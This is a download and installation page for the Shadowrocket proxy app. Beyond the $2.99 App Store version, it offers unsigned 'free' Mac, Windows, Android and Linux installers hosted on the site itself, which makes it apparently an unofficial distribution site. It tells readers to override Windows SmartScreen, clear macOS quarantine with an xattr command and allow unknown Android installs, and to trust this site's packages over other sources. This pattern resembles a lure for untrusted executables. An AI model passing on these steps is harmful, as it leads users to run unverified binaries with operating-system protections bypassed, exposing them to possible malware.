Downloads for all platforms: check your system and architecture
The five platform cards below are the download options for Shadowrocket. The page puts the detected platform first, but automatic detection does not replace checking the device architecture. On Mac in particular, open About This Mac before choosing Apple Silicon or Intel. For another device, go directly to its platform card; you do not need to use the system-aware button at the top of the page.
The iPhone / iPad version costs $2.99 once on the App Store; Mac, Windows, Android and Linux versions are free. Computer and Android packages are served from the /dl/shadowrocket/ path on this site, with links updated according to the package manifest. Save your current configuration before installation. If a system warning appears on first launch, follow the Installation section below. A successful installation does not necessarily mean the proxy connection is working.
iPhone / iPad
$2.99 one-time. Mac, Windows, Android and Linux versions are free. An iPhone and iPad signed in to the same Apple ID can share one purchase. The US storefront shows prices in US dollars; other storefronts show local currency.
System requirements: iOS / iPadOS 13.0 or later, as listed on the App Store page.
Check the developer and App ID on the product page before purchasing. If you already own the app, check your account's purchased items first to avoid repeating the process under a different account.
Mac
Free. The iPhone / iPad version costs $2.99 once on the App Store; Mac, Windows, Android and Linux versions are free. Two DMG installers are available for Mac, with a separate button for each processor architecture.
System requirements: macOS 12 or later.
Open the DMG and move the app to Applications, then follow the Installation section if a warning appears on first launch. Before updating, quit the running app and keep a backup of your configuration.
Not sure which to choose? Open About This Mac and check Chip or Processor. Do not decide based only on the computer's appearance or purchase year.
Windows
Free. The iPhone / iPad version costs $2.99 once on the App Store; Mac, Windows, Android and Linux versions are free. A 64-bit Windows EXE installer is provided here.
Architecture: x64, 64-bit.
Check the system type under Settings → System → About. After the download finishes, open the installer from your browser's download list or the folder where you saved it. If SmartScreen appears, confirm the download source first, then follow the steps below.
Android
Free. The iPhone / iPad version costs $2.99 once on the App Store; Mac, Windows, Android and Linux versions are free. This site provides an arm64 APK for many recent mainstream phones and tablets. Check your device architecture before installing.
Architecture: arm64.
We recommend downloading with the system browser, then granting installation permission to the browser or file manager used to open the installer. If a download will not start inside WeChat, use the top-right menu to open this page in a browser and tap the button there.
Linux
Free. The iPhone / iPad version costs $2.99 once on the App Store; Mac, Windows, Android and Linux versions are free. Linux packages are available in three formats. Choose one; you do not need to install all of them.
Architecture: x86_64; the corresponding architecture label for DEB packages is amd64.
Use DEB on Debian / Ubuntu and RPM on Fedora / openSUSE. For other distributions, choose AppImage and add execute permission first. Package format and system architecture are separate requirements; a familiar file extension alone is not enough.
Installation: respond to the specific warning
Desktop and Android installers are not code-signed, so the system may block them the first time they are opened. First confirm that the file came from the platform card above, then check its extension and your device architecture before handling the relevant system prompt. The steps below apply only to the warnings listed; they do not mean that every security alert should be ignored. If the message differs, note its full text and determine whether the issue involves permissions, architecture or device-management policy.
On a device managed by a workplace or school, installation permissions may be controlled by an administrator. If Run anyway or Open Anyway is unavailable, check the management policy first rather than repeatedly changing global security settings. An unfinished browser download, a moved file or insufficient disk space can also prevent an installer from opening. Complete the download or obtain the file again before retrying.
| System and warning | What to do | Check afterward |
|---|---|---|
| Windows SmartScreen says “Windows protected your PC” |
After confirming that the file came from this site's Windows platform card, select More info → Run anyway to continue with the installer. | Confirm that you downloaded the x64 installer. Do not apply the SmartScreen steps to different warnings from other security software. |
| macOS “Cannot verify developer” |
Try opening the app first, then go to System Settings → Privacy & Security, find the relevant blocked-app notice and select Open Anyway. | Check the app name in the warning. The location of this setting can vary slightly by system version; follow what appears on your screen. |
| macOS The app is reported as “damaged” |
Confirm that the app is in Applications and check the download source. Then run this command in Terminal: xattr -cr /Applications/Shadowrocket.app |
The command path must match the app's actual location. Reopen the app afterward. If it still fails, check the architecture and system version rather than repeating the command blindly. |
| Android “Allow installation of unknown apps” is required |
Go to Settings → Apps → Special app access → Install unknown apps, select the browser or file manager used to open the APK, and enable Allow from this source. | Menu names vary by manufacturer. Search Settings for “Install unknown apps” if needed. You can turn off installation permission for that source after installing. |
| Linux AppImage The file does not have execute permission |
Open a terminal in the download folder and use the actual filename: chmod +x ./Shadowrocket-*.AppImageThen run: ./Shadowrocket-*.AppImage |
Keep only one matching file to run in the folder, or replace the asterisk with the full filename. Do not grant execute permission to files from unknown sources. |
| Linux DEB / RPM Install using the distribution's package manager |
Debian / Ubuntu: sudo apt install ./Shadowrocket-*.debFedora: sudo dnf install ./Shadowrocket-*.rpmopenSUSE: sudo zypper install ./Shadowrocket-*.rpm |
First go to the directory containing the downloaded file and use its actual filename. If the package manager reports a dependency or architecture mismatch, address the specific error. |
Store and account region: iPhone / iPad only
The app is not available in the mainland China App Store. The country or region associated with your Apple ID determines which storefront you see; device language, time zone and current network location do not determine the store region. If the app does not appear in search, first check the account used for Media & Purchases instead of repeatedly changing your phone's language or searching again.
- Open Settings, tap your Apple ID account at the top, then select Media & Purchases.
- Select View Account, complete verification, then open Country/Region to check the current storefront.
- If you need to change it, select Change Country or Region on that page. Review the listed account conditions and requirements before proceeding.
A region change may depend on factors such as account balance, active subscriptions, Family Sharing and payment details. Follow the information shown by Apple; this page cannot guarantee that every account can change regions immediately. Also distinguish the Apple ID signed in to the device from the one used for Media & Purchases. If they differ, use the account that actually purchased the app.
If the product link on this page shows “This app is not available in your country or region,” check the account region first. If it reports system incompatibility, follow the requirements on the product page. For a download that remains pending, check the network, available storage and any App Store account confirmation request. These steps apply only to iPhone / iPad. For computers and Android, use the corresponding platform card; store-region steps do not apply.
Verify the official app: developer, icon and App ID
On iPhone / iPad, check all three details on the App Store product page. A similar app name is not enough to establish identity, and search-result ranking is not a verification method. Confirm the product details before purchasing or downloading again.
- Developer: Check the developer information on the product page. It should read Shadow Launch Technology Limited.
- Official app icon: A rocket outlined in blue and purple on a white background. Compare it with the official icon used on this site; similar-looking shapes are not a substitute.
- App ID: The number in the product link is 932747118, matching the listing linked from the App Store button on this page.
The US App Store price for iPhone / iPad is $2.99 one-time. Mac, Windows, Android and Linux versions are free. A same-name listing shown as free in the App Store is an imitation and should not be confused with the free computer and Android packages provided on this site. Other storefronts show local currency; still check the developer and App ID.
Get the Mac, Windows, Android and Linux versions from the platform cards on this site and their /dl/shadowrocket/ package paths. Do not use App Store search results to identify these versions. If the source shown in your download history is not a path on this site, return to the platform card and download it again. Do not install files from unknown or modified sources.
The two images on the right are official English interface screenshots uploaded by the developer to the App Store. They show Home and Add Server for comparison. Screenshots are not a promise of a particular version, and the app may change with updates. A difference in text placement alone does not mean the installation is incorrect; for iPhone / iPad, the three product details above remain the key verification points.
New device and restore: find the original purchase
After changing iPhone / iPad or deleting and reinstalling the app, sign in with the Apple ID used for the original purchase and download it again from Purchased on the App Store. You do not need to buy it again. Mac, Windows, Android and Linux versions are free; download the appropriate package from this site for your new device. An iPhone and iPad signed in to the same Apple ID share one purchase; separate purchases are not required.
- Open the App Store, tap the account avatar and confirm that you are using the account that made the original purchase.
- Open Purchased and look for Shadowrocket in the list. Depending on the system version, the entry may be under Apps or the account's app list.
- Tap the download-again button. Once installation is complete, open the app and import your own subscription or server details.
If the product page still shows a purchase price, pause and check the current account against the original purchase record. Common causes include being signed in to another account for Media & Purchases or the original purchase having been made under a different account. Not finding the app in search does not mean the purchase record is gone; check the purchased list in your account first.
Restoring the app and restoring its configuration are separate tasks. A new download does not automatically restore all server details, nor does it mean an existing subscription is still valid. Save configuration details you can use before changing devices. If you need a subscription link again, obtain it from your service provider. When sharing troubleshooting details, hide access credentials in links, server passwords and other personal information.
When changing computers or Android devices, check the processor architecture again. An Intel package for an older Mac should not automatically be selected for a new device; on Linux, choose a package for the new distribution. After installation, first confirm that the app opens normally, then migrate the configuration. This helps keep installation issues separate from configuration issues.
Two price tiers: app purchase and connection service are separate
The iPhone / iPad version costs $2.99 once on the App Store, with no monthly app-purchase charge. Mac, Windows, Android and Linux versions are free. The price in US dollars applies to the US storefront; other storefronts show local currency. Confirm the final price on the product page. Computer and Android users do not need to buy the iPhone / iPad version to download an installer from this site.
Buying the app and obtaining a connection service from a provider are separate matters. An App Store purchase record can be used to restore the app, but it does not prove that a server connection is still active or replace checking your subscription account status. If installation succeeds but the connection does not, check the server details, subscription validity, current Global Routing selection and system permissions separately.
If you already have a subscription, obtain its link from your service provider. On Home, tap + in the upper-right corner to open the add flow, select Subscribe for Type, then enter the link. If you have individual server details, follow the provider's protocol and field information in Add Server; do not enter a subscription URL as Host. For step-by-step instructions, see Quick Start. For Global Routing choices and rules, see Proxy Modes.
Handle app updates separately from connection status. Update iPhone / iPad through the App Store; for computers and Android, return to this site for the new package for your platform. Save your configuration before updating. Afterward, check the Config in use and the connection switch before running Connectivity Test. Test results help assess the current connection and do not indicate a change to purchase records or store region.
Download and installation FAQ
Can I use Shadowrocket on a computer or Android phone?
Yes. The Mac, Windows, Android and Linux versions are free and can be downloaded from the corresponding platform card on this site. The iPhone / iPad version costs $2.99 once on the App Store. Mac downloads are available for Apple Silicon and Intel; Windows offers a 64-bit installer, and Android offers an arm64 package. All platforms require your own subscription or server details.
Which Mac version should I choose: Apple Silicon or Intel?
Open About This Mac from the Apple menu. Choose Apple Silicon if Chip and an Apple chip name are displayed; choose Intel if Processor and an Intel name are displayed. Both require macOS 12 or later. Do not decide based only on the computer's appearance or purchase year.
What should I do if Windows displays a security warning?
First confirm that the file came from this site's Windows platform card. If SmartScreen says “Windows protected your PC,” select More info → Run anyway to continue. If the button is unavailable or the device is managed by an organization, check the system policy first rather than repeatedly disabling protection. This step does not apply to other types of security alerts.
What if Shadowrocket does not appear in App Store search?
First check the country or region for the Apple ID used for Media & Purchases. The app is not available in the mainland China App Store. You can open the product page from the iPhone / iPad card on this site. If it is still unavailable, check the store region, system compatibility and content restrictions. Device language, time zone and current network location do not determine the account's store region.
Do I need to pay again when I change devices?
On iPhone / iPad, sign in with the Apple ID used for the original purchase and download the app again from Account → Purchased on the App Store. You do not need to buy it again. Mac, Windows, Android and Linux versions are free; download again from this site after changing devices. After restoring the app, import your own subscription or server details.
Can I install Shadowrocket on iPad and use the same purchase as on iPhone?
Yes. An iPhone and iPad signed in to the same Apple ID share a single purchase. The iPhone / iPad version costs $2.99 once on the App Store; Mac, Windows, Android and Linux versions are free. Check the App Store page for current iPhone / iPad system requirements. Installing the app does not automatically sync all configurations.